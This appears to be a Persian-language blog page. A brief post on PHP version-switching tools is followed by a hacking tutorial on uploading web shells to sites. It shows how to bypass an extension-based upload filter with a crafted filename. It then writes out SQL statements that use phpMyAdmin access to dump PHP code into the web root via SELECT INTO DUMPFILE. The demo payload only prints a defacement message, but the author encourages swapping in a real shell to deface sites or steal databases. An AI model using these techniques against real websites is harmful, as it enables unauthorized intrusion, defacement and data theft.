PHP Environment

معرفی چندتا  ابزار برای توسعه راحت تر php…

اگر با nodejs ویا python آشنا باشید احتمالا nvm و virtualenv رو می شناسید.
وقتی که قراره روی یک ماشین develop انجام بدید ولی برای هر کدوم از پروژه هاتون به ورژن خاص از php,python ویا node احتیاج داشته باشید switch کردن راحت بین این ها میشه دغدغه شما. یا وقتی که بخواهید در یک محیط یکسری از extension هارو داشته باشید و جای دیگه نداشته باشید یا حتی ورژن های مختلف از extension‌ هارو.

برای swtich کردن و داشتن ورژن های مختلف php سه تا ابزار زیر هست

و برای داشتن چندتا محیط virtPHP

چه جوری فایل شل رو با استفاده از دستورات sql آپلود کنیم؟

وقتی می خواهید یه فایل شل توی یه سایتی آپلود کنید،اول باید توی اون سایت یه باگی پیدا کنید،

مثلا فرض کنید یه سایتی به کاربراش فقط اجازه آپلود فایل های تصویری رو می ده، اونم می یاد با پیدا کردن آخرین .(نقطه) در اسم اون فایل و مقایسه عبارت بعد از dot با فرمت های قابل قبولش انجام می ده.

مثلا moein.moein.png خوب این یه فایل با فرمت png و اجازه آپلود شدن هم داره، چرا؟ چون عبارت بعد از آخرین نقطه رو به عنوان فرمت فایل در نظر می گیره که اونم png یه و فایل رو آپلود می کنه.البته این دفعه سیستم فرمت فایل رو درست تشخیص داد. ولی ما می خوایم گولش بزنیم … من یه فایل php درست می کنم و توش هرچی که دوست دارم رو می نویسم، به عنوان یه چیز ساده یه فایلی که فقط یه عبارت کوچولو رو چاپ کنه … Hacked By KNTU Hackers

<?php

echo (“Hacked By KNTU Hackers”);

?>

خوب حالا فایلم رو save می کنم ولی این دفعه اسمش رو می ذارم moein.php?f=.png

موقع آپلود اون سایت میاد دوباره آخرین دات رو پیدا می کنه، ادامش رو می خونه و به png می رسه و اجازه آپلود رو می ده.حالا من توی سایت اونا یه فایلی به اسم moein.php دارم که وقتی اجرا شه، توی صفحه Hacked By KNTU Hackers رو نشون می ده.البته این یه فایل ساده php بود ، به جای آپلود این فایل می تونید یه فایل شل آپلود کنیم و کلا اون سایت رو دیفیس کنید، از دیتابیسش بک آپ بگیرید یا …

ولی در اصل قرار بود با دستورات sql بگیم که چه جوری می شه یه فایل شل رو آپلود کرد و همه اینایی که گفتم یه جورایی مقدمه و در فشانی بود:دی

برای راحتی کار فرض کنید که به phpmyadmin یه سایتی دسترسی دارید، حالا می خواهید با استفاده از همین امکان ساده یه فایل php رو آپلود کنید.

خوب به عنوان یه کار ساده یه table توی یکی از دیتابیس ها درست می کنیم.

CREATE TABLE IF NOT EXISTS shell (
shell text NOT NULL
) ;

یه جدولی که فقط یه فیلد داره و اسم اونم shell گذاشتیم.

حالا یه سری اطلاعات مفیدتری توی این جدول می ریزیم، مثلا

INSERT INTO shell (

shell

) VALUES (

‘<?php echo (“Hacked By KNTU Hackers”); ?>’
الان ما یه سطری رو به جدول insert کردیم که توی اون یه کد php قرار داره.
حالا از این جدول یه خروجی می گیریم و توی یه فایل php ذخیره می کنیم ، مثلا
select * into dumpfile ‘/var/www/hacked.php’ from shell
حالا یه فایل به اسم hacked.php تولید شده،که توی اون یه عبارت php قرار داره.
وقتی اون فایل رو اجرا کنید، عبارت Hacked By KNTU Hackers نمایش داده می شه.حالا دوباره می تونید به جای این اطلاعات، می تونید با یه فایل شل این کارو انجام بدید و یه فایل شل رو با استفاده از دستورات sql آپلود کنید.